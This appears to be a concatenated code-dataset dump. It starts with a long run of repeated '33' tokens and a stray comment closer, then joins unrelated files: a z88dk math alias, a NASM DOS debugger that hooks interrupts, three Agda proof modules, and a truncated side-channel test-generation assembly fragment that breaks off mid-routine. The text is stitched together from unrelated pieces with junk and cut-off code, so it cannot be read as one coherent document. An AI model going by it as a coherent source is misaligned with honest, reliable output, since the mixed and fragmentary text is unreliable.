33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/sinh.asm | jpoikela/z88dk | 0 | 94568 | <gh_stars>0
SECTION code_fp_math32
PUBLIC _sinh
EXTERN cm32_sdcc_sinh
defc _sinh = cm32_sdcc_sinh
|
debugger.asm | hmhamza/assembly-language-nasm-afd-debugger | 2 | 161919 | [org 0x0100]
jmp start
trap_bool: DW 0
flag: db 0
oldISR: dd 0
strStk:db 'Stack'
strFlg:db 'Flags'
stkInd:db '+0+2+4+6'
myName: db '<NAME>',' L12-4013 ','Copyrights 2013 HaZa','All Rights Reserved '
cmd: db 'CMD > '
strline: db '________________________________________________________________________________'
m2DS1: db '0 1 2 3 4 5 6 7 8 9 A B C D E F'
m1DS2: db 'DS:0000 DS:0008 DS:0010 DS:0018 DS:0020 DS:0028 DS:0030 DS:0038 DS:0040 DS:0048 '
m2DS2: db 'DS:0000 DS:0010 DS:0020 DS:0030 DS:0040 '
regNames: db 'CS IP BP SP AX BX CX DX SI DI DS ES SS FS '
flagBits:db'OF DF IF SF ZF AF PF CF '
clearScreen:
mov ax , 0xB800
mov es , ax
mov di , 0
mov ax , 0x0720
mov cx , 2000
rep stosw
ret
printNum: ;[BP+8]=y-coordinate [BP+6]=x-coordinate [BP+4]=number
push bp
mov bp , sp
push ax
push bx
push cx
push dx
push di
push es
mov di , 80
mov ax , [bp+8]
mul di
mov di , ax
add di , [bp+6]
shl di , 1
add di , 8
mov ax , 0xB800
mov es , ax
mov ax , [bp+4]
mov bx , 16
mov cx , 4
nextDigit:
mov dx , 0
div bx
add dl , 0x30
cmp dl , 0x39
jbe noAlphabet
add dl , 7
noAlphabet:
mov dh , 0x0A
mov [es:di] , dx
sub di , 2
loop nextDigit
pop es
pop di
pop dx
pop cx
pop bx
pop ax
pop bp
ret 6
printStr:
push bp
mov bp , sp
push ax
push bx
push cx
push dx
push si
push di
push es
mov ax , 0xB800
mov es , ax
mov di , 80
mov ax , [bp+10]
mul di
mov di , ax
add di , [bp+8]
shl di , 1
mov si , [bp+6]
mov cx , [bp+4]
mov ah , 0x07
nextChar:
mov al , [si]
mov [es:di] , ax
add di , 2
inc si
loop nextChar
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop bp
ret 8
keyboardISR:
push ax
in al , 0x60
cmp al , 0x43 ;F9
jnz skip
add byte [cs:flag] , al
mov word [cs:trap_bool],0
skip:
cmp al , 0x44
jnz KBquit
add byte [cs:flag] , al
mov word [cs:trap_bool],1
KBquit:
pop ax
jmp far [cs:oldISR]
ISR3:
mov word [cs:trap_bool],0
iret
trapISR:
push bp
mov bp , sp
push sp
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push ss
push fs
sti ;waiting for keyboard interrupt
push cs
pop ds
mov byte [flag] , 0
call clearScreen
;****************** PRINTING BOXES AND JUNK**********************
push 0xB800
pop es
mov ax , 0x077C
mov di , 892
mov cx , 11
straightLine:
stosw
add di , 158
loop straightLine
mov di , 2838
mov cx , 6
straightLine2:
stosw
add di , 158
loop straightLine2
push 4
push 0
push strline
push 80
call printStr
push 6
push 0
push strline
push 46
call printStr
push 16
push 0
push strline
push 80
call printStr
push 23
push 0
push strline
push 80
call printStr
mov di , 3000
mov cx , 20
mov si , myName
mov ah , 0x8B
prtName:
lodsb
stosw
loop prtName
mov di , 3160
mov cx , 20
mov ah , 0x0D
prtRoll:
lodsb
stosw
loop prtRoll
mov di , 3480
mov cx , 20
mov ah , 0x70
prtCopyrights:
lodsb
stosw
loop prtCopyrights
mov di , 3640
mov cx , 20
mov ah , 0x70
prtReserved:
lodsb
stosw
loop prtReserved
mov di , 800
mov cx , 6
mov ah , 0x07
prtCMD:
lodsb
stosw
loop prtCMD
;******************* PRINTING FLAGS NAMES ***************
push 0
push 57
push strFlg
push 5
call printStr ;to print "Flags"
mov ax , 2 ;row
mov bx , 57 ;column
mov cx , 9
mov si , 3 ;lenght
mov dx , flagBits
printFLnames:
push ax
push bx
push dx
push si
call printStr
add dx , 3
add bx , 3
loop printFLnames
;******************* PRINTING FLAGS VALUES ***************
push 0
push 63
mov dx , [bp+6]
push dx
call printNum ;prints whole of the flag register
push 0xB800
pop es
mov di , 596
mov dx , [bp+6] ;DX=Flag register
shl dx , 4
mov cx , 3
mov ah , 0x0A
Fl1:
mov al , 0x30
shl dx , 1
jnc Fl1proceed
mov al , 0x31
Fl1proceed:
stosw
add di , 4
loop Fl1
shl dx , 1
mov cx , 2
Fl3:
mov al , 0x30
shl dx , 1
jnc Fl3proceed
mov al , 0x31
Fl3proceed:
stosw
add di , 4
loop Fl3
mov cx , 3
Fl2:
mov al , 0x30
shl dx , 2
jc Fl2proceed
mov al , 0x31
Fl2proceed:
stosw
add di , 4
loop Fl2
;******************* PRINTING REGISTERS NAMES ***************
mov ax , 0 ;row
mov bx , 0 ;column
mov cx , 4
mov si , 40 ;lenght
mov dx , regNames
printNames:
push ax
push bx
push dx
push si
call printStr
add dx , 40
add ax , 1
loop printNames
;******************* PRINTING REGISTER VALUES ***************
mov di , 0
mov si , 4
mov cx , 14
mov ax , 0 ;row
mov bx , 2 ;column
printValues:
push ax
push bx
mov dx , [bp+si]
push dx
call printNum
sub si , 2
add bx , 10
inc di
cmp di , 4
jnz cntPrt
mov di , 0
inc ax
mov bx , 2
cntPrt:
loop printValues
;******************** PRINTING STACK STRINGS **************
push 0
push 42
push strStk
push 5
call printStr ;to print "Stack"
mov ax , 0 ;row
mov bx , 48 ;column
mov cx , 4
mov si , 2 ;lenght
mov dx , stkInd
prtStk:
push ax
push bx
push dx
push si
call printStr
add dx , 2
inc ax
loop prtStk
;******************* PRINTING STACK VALUES ***************
mov ax , [bp-20] ;AX=SS
mov es , ax
mov di , [bp-2]
mov cx , 4
mov ax , 0 ;row
mov bx , 50 ;column
printStackValues:
push ax
push bx
mov dx , [es:di]
push dx
call printNum
add di , 2
inc ax
loop printStackValues
;******************* PRINTING m2DS NAMES ***************
push 17
push 11
push m2DS1
push 45
call printStr
push 0xB800
pop es
mov word [es:2720] , 0x7032
mov ax , 18 ;row
mov bx , 0 ;column
mov cx , 5
mov si , 10 ;lenght
mov dx , m2DS2
printm2DS2N:
push ax
push bx
push dx
push si
call printStr
add dx , 10
inc ax
loop printm2DS2N
;******************* PRINTING m2DS VALUES ***************
push cs
pop ds
mov si , 0
mov di , 0
mov cx , 40
mov ax , 18 ;row
mov bx , 9 ;column
printm2DSValues:
push ax
push bx
mov dx , [ds:si]
xchg dl , dh ;little endian order
push dx
call printNum
add si , 2
add bx , 6
inc di
cmp di , 8
jnz cntPrtm2DS
mov di , 0
inc ax
mov bx , 9
cntPrtm2DS:
loop printm2DSValues
;******************* PRINTING m1DS NAMES ***************
push 5
push 59
push m2DS1
push 21
call printStr
push 0xB800
pop es
mov word [es:896] , 0x7031
mov ax , 6 ;row
mov bx , 48 ;column
mov cx , 10
mov si , 9 ;lenght
mov dx , m1DS2
printm1DS2N:
push ax
push bx
push dx
push si
call printStr
add dx , 9
inc ax
loop printm1DS2N
;******************* PRINTING m1DS VALUES ***************
push cs
pop ds
mov si , 0
mov di , 0
mov cx , 40
mov ax , 6 ;row
mov bx , 57 ;column
printm1DSValues:
push ax
push bx
mov dx , [ds:si]
xchg dl , dh ;little endian order
push dx
call printNum
add si , 2
add bx , 6
inc di
cmp di , 4
jnz cntPrtm1DS
mov di , 0
inc ax
mov bx , 57
cntPrtm1DS:
loop printm1DSValues
CMP WORD [CS:trap_bool],1
JE SKIP_WAIT
keyWait:
cmp byte[CS:flag] , 0
je keyWait
SKIP_WAIT:
pop fs
pop ss
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop sp
pop bp
iret
start:
xor ax , ax
mov es , ax ;point ES to IVT table
mov ax , [es:9*4]
mov [oldISR] , ax
mov ax , [es:9*4+2]
mov [oldISR+2] , ax
mov word [es:1*4] , trapISR
mov [es:1*4+2] , cs
cli
mov word [es:9*4] , keyboardISR
mov [es:9*4+2] , cs
mov word [es:3*4] , ISR3
mov [es:3*4+2] , cs
sti
mov dx,start
add dx,15
mov cl,4
shr dx , cl
mov ax,0x3100
int 21h |
Cubical/Algebra/Polynomials/Multivariate/EquivCarac/An[X]X-A.agda | xekoukou/cubical | 0 | 13067 | {-# OPTIONS --safe --experimental-lossy-unification #-}
module Cubical.Algebra.Polynomials.Multivariate.EquivCarac.An[X]X-A where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Function
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Isomorphism
open import Cubical.Data.Nat
open import Cubical.Data.Nat.Order
open import Cubical.Data.Vec
open import Cubical.Data.Vec.OperationsNat
open import Cubical.Data.Sigma
open import Cubical.Data.FinData
open import Cubical.Data.Empty as ⊥
open import Cubical.Algebra.Ring
open import Cubical.Algebra.CommRing
open import Cubical.Algebra.CommRing.FGIdeal
open import Cubical.Algebra.CommRing.QuotientRing
open import Cubical.Algebra.Polynomials.Multivariate.Base
open import Cubical.Algebra.CommRing.Instances.Int renaming (ℤCommRing to ℤCR)
open import Cubical.Algebra.CommRing.Instances.MultivariatePoly
open import Cubical.Algebra.CommRing.Instances.MultivariatePoly-Quotient
open import Cubical.Relation.Nullary
open import Cubical.HITs.SetQuotients as SQ
open import Cubical.HITs.PropositionalTruncation as PT
private variable
ℓ : Level
-----------------------------------------------------------------------------
-- Functions
module Properties-Equiv-QuotientXn-A
(Ar@(A , Astr) : CommRing ℓ)
(n : ℕ)
where
open CommRingStr Astr using ()
renaming
( 0r to 0A
; 1r to 1A
; _+_ to _+A_
; -_ to -A_
; _·_ to _·A_
; +Assoc to +AAssoc
; +Identity to +AIdentity
; +Lid to +ALid
; +Rid to +ARid
; +Inv to +AInv
; +Linv to +ALinv
; +Rinv to +ARinv
; +Comm to +AComm
; ·Assoc to ·AAssoc
; ·Identity to ·AIdentity
; ·Lid to ·ALid
; ·Rid to ·ARid
; ·Rdist+ to ·ARdist+
; ·Ldist+ to ·ALdist+
; is-set to isSetA )
open CommRingStr (snd (A[X1,···,Xn] Ar n) ) using ()
renaming
( 0r to 0PA
; 1r to 1PA
; _+_ to _+PA_
; -_ to -PA_
; _·_ to _·PA_
; +Assoc to +PAAssoc
; +Identity to +PAIdentity
; +Lid to +PALid
; +Rid to +PARid
; +Inv to +PAInv
; +Linv to +PALinv
; +Rinv to +PARinv
; +Comm to +PAComm
; ·Assoc to ·PAAssoc
; ·Identity to ·PAIdentity
; ·Lid to ·PALid
; ·Rid to ·PARid
; ·Comm to ·PAComm
; ·Rdist+ to ·PARdist+
; ·Ldist+ to ·PALdist+
; is-set to isSetPA )
open CommRingStr (snd (A[X1,···,Xn]/<X1,···,Xn> Ar n)) using ()
renaming
( 0r to 0PAI
; 1r to 1PAI
; _+_ to _+PAI_
; -_ to -PAI_
; _·_ to _·PAI_
; +Assoc to +PAIAssoc
; +Identity to +PAIIdentity
; +Lid to +PAILid
; +Rid to +PAIRid
; +Inv to +PAIInv
; +Linv to +PAILinv
; +Rinv to +PAIRinv
; +Comm to +PAIComm
; ·Assoc to ·PAIAssoc
; ·Identity to ·PAIIdentity
; ·Lid to ·PAILid
; ·Rid to ·PAIRid
; ·Rdist+ to ·PAIRdist+
; ·Ldist+ to ·PAILdist+
; is-set to isSetPAI )
open RingTheory
discreteVecℕn = VecPath.discreteA→discreteVecA discreteℕ n
-----------------------------------------------------------------------------
-- Direct sens
PA→A : A[x1,···,xn] Ar n → A
PA→A = Poly-Rec-Set.f Ar n _ isSetA
0A
base-trad
_+A_
+AAssoc
+ARid
+AComm
base-0P-eq
base-Poly+-eq
where
base-trad : (v : Vec ℕ n) → (a : A) → A
base-trad v a with (discreteVecℕn v (replicate 0))
... | yes p = a
... | no ¬p = 0A
base-0P-eq : (v : Vec ℕ n) → base-trad v 0A ≡ 0A
base-0P-eq v with (discreteVecℕn v (replicate 0))
... | yes p = refl
... | no ¬p = refl
base-Poly+-eq : (v : Vec ℕ n) → (a b : A) → base-trad v a +A base-trad v b ≡ base-trad v (a +A b)
base-Poly+-eq v a b with (discreteVecℕn v (replicate 0))
... | yes p = refl
... | no ¬p = +ARid _
PA→A-pres1 : PA→A 1PA ≡ 1A
PA→A-pres1 with (discreteVecℕn (replicate 0) (replicate 0))
... | yes p = refl
... | no ¬p = ⊥.rec (¬p refl)
PA→A-pres+ : (P Q : A[x1,···,xn] Ar n) → PA→A (P +PA Q) ≡ PA→A P +A PA→A Q
PA→A-pres+ P Q = refl
PA→A-pres· : (P Q : A[x1,···,xn] Ar n) → PA→A (P ·PA Q) ≡ PA→A P ·A PA→A Q
PA→A-pres· = Poly-Ind-Prop.f _ _ _
(λ P u v i Q → isSetA _ _ (u Q) (v Q) i)
(λ Q → sym (0LeftAnnihilates (CommRing→Ring Ar) _))
(λ v a → Poly-Ind-Prop.f _ _ _ (λ Q → isSetA _ _)
(sym (0RightAnnihilates (CommRing→Ring Ar) _))
(λ v' a' → base-base-eq a a' v v')
λ {U V} ind-U ind-V → cong₂ _+A_ ind-U ind-V ∙ sym (·ARdist+ _ _ _))
λ {U V} ind-U ind-V Q → cong₂ _+A_ (ind-U Q) (ind-V Q) ∙ sym (·ALdist+ _ _ _)
where
base-base-eq : (a a' : A) → (v v' : Vec ℕ n) →
PA→A (base v a ·PA base v' a') ≡ PA→A (base v a) ·A PA→A (base v' a')
base-base-eq a a' v v' with (discreteVecℕn (v +n-vec v') (replicate 0))
| (discreteVecℕn v (replicate 0))
| (discreteVecℕn v' (replicate 0))
... | yes r | yes p | yes e = refl
... | yes r | yes p | no ¬q = ⊥.rec (¬q (snd (+n-vecSplitReplicate0 v v' r)))
... | yes r | no ¬p | q = ⊥.rec (¬p (fst (+n-vecSplitReplicate0 v v' r)))
... | no ¬r | yes p | yes q = ⊥.rec (¬r (cong₂ _+n-vec_ p q ∙ +n-vec-rid _))
... | no ¬r | yes p | no ¬q = sym (0RightAnnihilates (CommRing→Ring Ar) _)
... | no ¬r | no ¬p | yes q = sym (0LeftAnnihilates (CommRing→Ring Ar) _)
... | no ¬r | no ¬p | no ¬q = sym (0RightAnnihilates (CommRing→Ring Ar) _)
PA→A-cancel : (k : Fin n) → PA→A (<X1,···,Xn> Ar n k) ≡ 0A
PA→A-cancel k with (discreteVecℕn (δℕ-Vec n (toℕ k)) (replicate 0))
... | yes p = ⊥.rec (δℕ-Vec-k<n→≢ n (toℕ k) (toℕ<n k) p)
... | no ¬p = refl
PAr→Ar : CommRingHom (A[X1,···,Xn] Ar n) Ar
fst PAr→Ar = PA→A
snd PAr→Ar = makeIsRingHom PA→A-pres1 PA→A-pres+ PA→A-pres·
PAIr→Ar : CommRingHom (A[X1,···,Xn]/<X1,···,Xn> Ar n) Ar
PAIr→Ar = Quotient-FGideal-CommRing-CommRing.f (A[X1,···,Xn] Ar n) Ar PAr→Ar (<X1,···,Xn> Ar n) PA→A-cancel
PAI→A : A[x1,···,xn]/<x1,···,xn> Ar n → A
PAI→A = fst PAIr→Ar
-----------------------------------------------------------------------------
-- Converse sens
A→PA : A → A[x1,···,xn] Ar n
A→PA a = (base (replicate 0) a)
A→PA-pres1 : A→PA 1A ≡ 1PA
A→PA-pres1 = refl
A→PA-pres+ : (a a' : A) → A→PA (a +A a') ≡ (A→PA a) +PA (A→PA a')
A→PA-pres+ a a' = sym (base-poly+ _ _ _)
A→PA-pres· : (a a' : A) → A→PA (a ·A a') ≡ (A→PA a) ·PA (A→PA a')
A→PA-pres· a a' = cong (λ X → base X (a ·A a')) (sym (+n-vec-rid _))
A→PAI : A → (A[x1,···,xn]/<x1,···,xn> Ar n)
A→PAI = [_] ∘ A→PA
-----------------------------------------------------------------------------
-- Section
e-sect : (a : A) → PAI→A (A→PAI a) ≡ a
e-sect a with (discreteVecℕn (replicate 0) (replicate 0))
... | yes p = refl
... | no ¬p = ⊥.rec (¬p refl)
-----------------------------------------------------------------------------
-- Retraction
open RingStr
open IsRing
e-retr : (x : A[x1,···,xn]/<x1,···,xn> Ar n) → A→PAI (PAI→A x) ≡ x
e-retr = SQ.elimProp (λ _ → isSetPAI _ _)
(Poly-Ind-Prop.f _ _ _ (λ _ → isSetPAI _ _)
base0-eq
base-eq
λ {U V} ind-U ind-V → cong [_] (A→PA-pres+ _ _) ∙ cong₂ _+PAI_ ind-U ind-V)
where
base0-eq : A→PAI (PAI→A [ 0P ]) ≡ [ 0P ]
base0-eq = cong [_] (base-0P (replicate 0))
base-eq : (v : Vec ℕ n) → (a : A ) → [ A→PA (PA→A (base v a)) ] ≡ [ base v a ]
base-eq v a with (discreteVecℕn v (replicate 0))
... | yes p = cong [_] (cong (λ X → base X a) (sym p))
... | no ¬p with (pred-vec-≢0 v ¬p)
... | k , v' , infkn , eqvv' = eq/ (base (replicate 0) 0A)
(base v a) ∣ ((genδ-FinVec n k (base v' (-A a)) 0PA) , helper) ∣₁
where
helper : _
helper = cong (λ X → X poly+ base v (-A a)) (base-0P (replicate 0))
∙ +PALid (base v (-A a))
∙ sym (
genδ-FinVec-ℕLinearCombi ((A[X1,···,Xn] Ar n)) n k infkn (base v' (-A a)) (<X1,···,Xn> Ar n)
∙ cong₂ base (cong (λ X → v' +n-vec δℕ-Vec n X) (toFromId' n k infkn)) (·ARid _)
∙ cong (λ X → base X (-A a)) (sym eqvv'))
-----------------------------------------------------------------------------
-- Equiv
module _
(Ar@(A , Astr) : CommRing ℓ)
(n : ℕ)
where
open Iso
open Properties-Equiv-QuotientXn-A Ar n
Equiv-QuotientX-A : CommRingEquiv (A[X1,···,Xn]/<X1,···,Xn> Ar n) Ar
fst Equiv-QuotientX-A = isoToEquiv is
where
is : Iso (A[x1,···,xn]/<x1,···,xn> Ar n) A
fun is = PAI→A
inv is = A→PAI
rightInv is = e-sect
leftInv is = e-retr
snd Equiv-QuotientX-A = snd PAIr→Ar
-- Warning this doesn't prove Z[X]/X ≅ ℤ because you get two definition,
-- see notation Multivariate-Quotient-notationZ for more details
|
test/asset/agda-stdlib-1.0/Relation/Binary/Consequences.agda | omega12345/agda-mode | 0 | 1066 | <filename>test/asset/agda-stdlib-1.0/Relation/Binary/Consequences.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Some properties imply others
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Relation.Binary.Consequences where
open import Relation.Binary.Core
open import Relation.Nullary using (yes; no)
open import Relation.Unary using (∁)
open import Function using (_∘_; flip)
open import Data.Maybe.Base using (just; nothing)
open import Data.Sum using (inj₁; inj₂)
open import Data.Product using (_,_)
open import Data.Empty using (⊥-elim)
------------------------------------------------------------------------
-- Substitutive properties
module _ {a ℓ p} {A : Set a} {_∼_ : Rel A ℓ} (P : Rel A p) where
subst⟶respˡ : Substitutive _∼_ p → P Respectsˡ _∼_
subst⟶respˡ subst {y} x'∼x Px'y = subst (flip P y) x'∼x Px'y
subst⟶respʳ : Substitutive _∼_ p → P Respectsʳ _∼_
subst⟶respʳ subst {x} y'∼y Pxy' = subst (P x) y'∼y Pxy'
subst⟶resp₂ : Substitutive _∼_ p → P Respects₂ _∼_
subst⟶resp₂ subst = subst⟶respʳ subst , subst⟶respˡ subst
module _ {a ℓ p} {A : Set a} {∼ : Rel A ℓ} {P : A → Set p} where
P-resp⟶¬P-resp : Symmetric ∼ → P Respects ∼ → (∁ P) Respects ∼
P-resp⟶¬P-resp sym resp x∼y ¬Px Py = ¬Px (resp (sym x∼y) Py)
------------------------------------------------------------------------
-- Proofs for non-strict orders
module _ {a ℓ₁ ℓ₂} {A : Set a} {_≈_ : Rel A ℓ₁} {_≤_ : Rel A ℓ₂} where
total⟶refl : _≤_ Respects₂ _≈_ → Symmetric _≈_ →
Total _≤_ → _≈_ ⇒ _≤_
total⟶refl (respʳ , respˡ) sym total {x} {y} x≈y with total x y
... | inj₁ x∼y = x∼y
... | inj₂ y∼x = respʳ x≈y (respˡ (sym x≈y) y∼x)
total+dec⟶dec : _≈_ ⇒ _≤_ → Antisymmetric _≈_ _≤_ →
Total _≤_ → Decidable _≈_ → Decidable _≤_
total+dec⟶dec refl antisym total _≟_ x y with total x y
... | inj₁ x≤y = yes x≤y
... | inj₂ y≤x with x ≟ y
... | yes x≈y = yes (refl x≈y)
... | no x≉y = no (λ x≤y → x≉y (antisym x≤y y≤x))
------------------------------------------------------------------------
-- Proofs for strict orders
module _ {a ℓ₁ ℓ₂} {A : Set a} {_≈_ : Rel A ℓ₁} {_<_ : Rel A ℓ₂} where
trans∧irr⟶asym : Reflexive _≈_ → Transitive _<_ →
Irreflexive _≈_ _<_ → Asymmetric _<_
trans∧irr⟶asym refl trans irrefl x<y y<x =
irrefl refl (trans x<y y<x)
irr∧antisym⟶asym : Irreflexive _≈_ _<_ → Antisymmetric _≈_ _<_ →
Asymmetric _<_
irr∧antisym⟶asym irrefl antisym x<y y<x =
irrefl (antisym x<y y<x) x<y
asym⟶antisym : Asymmetric _<_ → Antisymmetric _≈_ _<_
asym⟶antisym asym x<y y<x = ⊥-elim (asym x<y y<x)
asym⟶irr : _<_ Respects₂ _≈_ → Symmetric _≈_ →
Asymmetric _<_ → Irreflexive _≈_ _<_
asym⟶irr (respʳ , respˡ) sym asym {x} {y} x≈y x<y =
asym x<y (respʳ (sym x≈y) (respˡ x≈y x<y))
tri⟶asym : Trichotomous _≈_ _<_ → Asymmetric _<_
tri⟶asym tri {x} {y} x<y x>y with tri x y
... | tri< _ _ x≯y = x≯y x>y
... | tri≈ _ _ x≯y = x≯y x>y
... | tri> x≮y _ _ = x≮y x<y
tri⟶irr : Trichotomous _≈_ _<_ → Irreflexive _≈_ _<_
tri⟶irr compare {x} {y} x≈y x<y with compare x y
... | tri< _ x≉y y≮x = x≉y x≈y
... | tri> x≮y x≉y y<x = x≉y x≈y
... | tri≈ x≮y _ y≮x = x≮y x<y
tri⟶dec≈ : Trichotomous _≈_ _<_ → Decidable _≈_
tri⟶dec≈ compare x y with compare x y
... | tri< _ x≉y _ = no x≉y
... | tri≈ _ x≈y _ = yes x≈y
... | tri> _ x≉y _ = no x≉y
tri⟶dec< : Trichotomous _≈_ _<_ → Decidable _<_
tri⟶dec< compare x y with compare x y
... | tri< x<y _ _ = yes x<y
... | tri≈ x≮y _ _ = no x≮y
... | tri> x≮y _ _ = no x≮y
trans∧tri⟶respʳ≈ : Symmetric _≈_ → Transitive _≈_ →
Transitive _<_ → Trichotomous _≈_ _<_ →
_<_ Respectsʳ _≈_
trans∧tri⟶respʳ≈ sym ≈-tr <-tr tri {x} {y} {z} y≈z x<y with tri x z
... | tri< x<z _ _ = x<z
... | tri≈ _ x≈z _ = ⊥-elim (tri⟶irr tri (≈-tr x≈z (sym y≈z)) x<y)
... | tri> _ _ z<x = ⊥-elim (tri⟶irr tri (sym y≈z) (<-tr z<x x<y))
trans∧tri⟶respˡ≈ : Transitive _≈_ →
Transitive _<_ → Trichotomous _≈_ _<_ →
_<_ Respectsˡ _≈_
trans∧tri⟶respˡ≈ ≈-tr <-tr tri {z} {_} {y} x≈y x<z with tri y z
... | tri< y<z _ _ = y<z
... | tri≈ _ y≈z _ = ⊥-elim (tri⟶irr tri (≈-tr x≈y y≈z) x<z)
... | tri> _ _ z<y = ⊥-elim (tri⟶irr tri x≈y (<-tr x<z z<y))
trans∧tri⟶resp≈ : Symmetric _≈_ → Transitive _≈_ →
Transitive _<_ → Trichotomous _≈_ _<_ →
_<_ Respects₂ _≈_
trans∧tri⟶resp≈ sym ≈-tr <-tr tri =
trans∧tri⟶respʳ≈ sym ≈-tr <-tr tri ,
trans∧tri⟶respˡ≈ ≈-tr <-tr tri
------------------------------------------------------------------------
-- Without Loss of Generality
module _ {a r q} {A : Set a} {_R_ : Rel A r} {Q : Rel A q} where
wlog : Total _R_ → Symmetric Q →
(∀ a b → a R b → Q a b) →
∀ a b → Q a b
wlog r-total q-sym prf a b with r-total a b
... | inj₁ aRb = prf a b aRb
... | inj₂ bRa = q-sym (prf b a bRa)
------------------------------------------------------------------------
-- Other proofs
module _ {a b p} {A : Set a} {B : Set b} {P : REL A B p} where
dec⟶weaklyDec : Decidable P → WeaklyDecidable P
dec⟶weaklyDec dec x y with dec x y
... | yes p = just p
... | no _ = nothing
module _ {a b p q} {A : Set a} {B : Set b }
{P : REL A B p} {Q : REL A B q}
where
map-NonEmpty : P ⇒ Q → NonEmpty P → NonEmpty Q
map-NonEmpty f x = nonEmpty (f (NonEmpty.proof x))
|
src/Control/Functor/NaturalTransformation.agda | andreasabel/cubical | 0 | 966 | {-# OPTIONS --copatterns #-}
module Control.Functor.NaturalTransformation where
open import Function using (id; _∘_)
open import Relation.Binary
open import Relation.Binary.PropositionalEquality
using (_≡_; refl; sym; trans; cong; cong₂; module ≡-Reasoning)
open ≡-Reasoning
open import Control.Functor using (Functor; module Functor; Const)
open import Control.Category using (Category; module Category)
-- Natural transformations.
IsNatTrans : (F! G! : Functor) →
let open Functor F! using () renaming (F to F; map to mapF)
open Functor G! using () renaming (F to G; map to mapG)
in
(n : ∀ {A} → F A → G A) → Set₁
IsNatTrans F! G! eta = ∀ {A B} (f : A → B) →
let open Functor F! using () renaming (F to F; map to mapF)
open Functor G! using () renaming (F to G; map to mapG)
in
eta ∘ mapF f ≡ mapG f ∘ eta
-- Constant-Constant natural transformation.
KKNat : ∀ {A B} (η : A → B) → IsNatTrans (Const A) (Const B) η
KKNat η = λ f → refl
-- Natural transformations (packaged).
record NatTrans (F! G! : Functor) : Set₁ where
open Functor F! using () renaming (F to F; map to mapF)
open Functor G! using () renaming (F to G; map to mapG)
field
eta : ∀ {A} → F A → G A
naturality : ∀ {A B} (f : A → B) →
eta ∘ mapF f ≡ mapG f ∘ eta
-- To use naturality in applications:
postulate
app-naturality : ∀ {A : Set} {B C : A → Set}
(f : (x : A) → B x → C x)
(g : (x : A) → F (B x))
(x : A) →
eta (mapF (f x) (g x)) ≡ mapG (f x) (eta (g x))
-- app-naturality g f x = {!!}
open NatTrans
-- The identity natural transformation.
Id : ∀ {F! : Functor} → NatTrans F! F!
Id {F! = F!} = record { eta = λ x → x ; naturality = λ f → refl }
-- Natural transformations compose.
Comp : ∀ {F! G! H! : Functor} → NatTrans F! G! → NatTrans G! H! → NatTrans F! H!
Comp {F! = F!}{G! = G!}{H! = H!} n m = record { eta = nm ; naturality = snm }
where
open Functor F! using () renaming (F to F; map to mapF)
open Functor G! using () renaming (F to G; map to mapG)
open Functor H! using () renaming (F to H; map to mapH)
nm : ∀ {A} → F A → H A
nm = λ x → eta m (eta n x)
snm : ∀ {A B} (f : A → B) →
nm ∘ mapF f ≡ mapH f ∘ nm
snm f = begin
nm ∘ mapF f ≡⟨⟩
eta m ∘ eta n ∘ mapF f ≡⟨ cong (λ z → eta m ∘ z) (naturality n f) ⟩
eta m ∘ mapG f ∘ eta n ≡⟨ cong (λ z → z ∘ eta n) (naturality m f) ⟩
mapH f ∘ eta m ∘ eta n ≡⟨⟩
mapH f ∘ nm
∎
-- Natural transformation between constant functors.
ConstNat : ∀ {A B} (η : A → B) → NatTrans (Const A) (Const B)
ConstNat η = record
{ eta = η
; naturality = λ f → refl
}
-- Functor category.
FunctorHom : ∀ (F G : Functor) → Setoid _ _
FunctorHom F G = record
{ Carrier = NatTrans F G
; _≈_ = λ n m → ∀ {A} → eta n {A} ≡ eta m {A}
; isEquivalence = record
{ refl = refl
; sym = λ p → sym p
; trans = λ p q → trans p q
}
}
FUNCTOR : Category _ _ _
FUNCTOR = record
{ Hom = FunctorHom
; isCategory = record
{ ops = record
{ id = Id
; _⟫_ = Comp
}
; laws = record
{ id-first = refl
; id-last = refl
; ∘-assoc = λ f → refl
; ∘-cong = λ n≡n' m≡m' → cong₂ (λ m n x → m (n x)) m≡m' n≡n' }
}
}
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_46.asm | ljhsiun2/medusa | 9 | 101108 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1b1b1, %r13
nop
cmp $17806, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm1
movups %xmm1, (%r13)
sub %rdi, %rdi
lea addresses_UC_ht+0x9b31, %rsi
